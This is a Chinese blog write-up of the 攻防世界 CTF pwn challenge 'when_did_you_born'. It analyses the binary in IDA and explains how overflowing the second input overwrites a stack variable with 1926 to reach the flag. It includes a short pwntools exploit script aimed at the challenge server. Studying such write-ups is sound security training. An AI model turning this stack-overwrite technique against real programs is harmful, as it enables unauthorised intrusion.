您的位置:首页 > 其它

攻防世界-pwn when_did_you_born(栈覆盖)

2019-08-10 21:29 1646 查看
版权声明:本文为博主原创文章,遵循 CC 4.0 by-sa 版权协议,转载请附上原文出处链接和本声明。 本文链接:https://blog.csdn.net/qinying001/article/details/99111617

0x01

拿到文件之后,先检查文件的基本信息

文件信息
  • 64bit elf可执行文件
  • 无PIE保护
     

0x02

执行文件

文件之中有两个输入,第一个输入有回显
 

0x03 IDA静态分析


可以看出获取flag需要用到v5的值,首先需要v5不等于1926,进入else这个块之中,然后又需要v5等于1926才能获取flag,就产生了矛盾。
结合程序有两个输入,可以考虑用第二个输入v4来覆盖第一个输入的栈空间,使v5在第二个if判断时变为1926。

可以看到v4和v5的栈空间地址相差8个字节,利用v4的输入将v5覆盖为1926就行。
 

0x03 exp

from pwn import *

p = remote('111.198.29.45',57383)
p.recvuntil("What's Your Birth?")
p.sendline('1234')

p.recvuntil("What's Your Name?")
p.sendline('a'*8 + p64(1926))

p.interactive()

取得flag

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: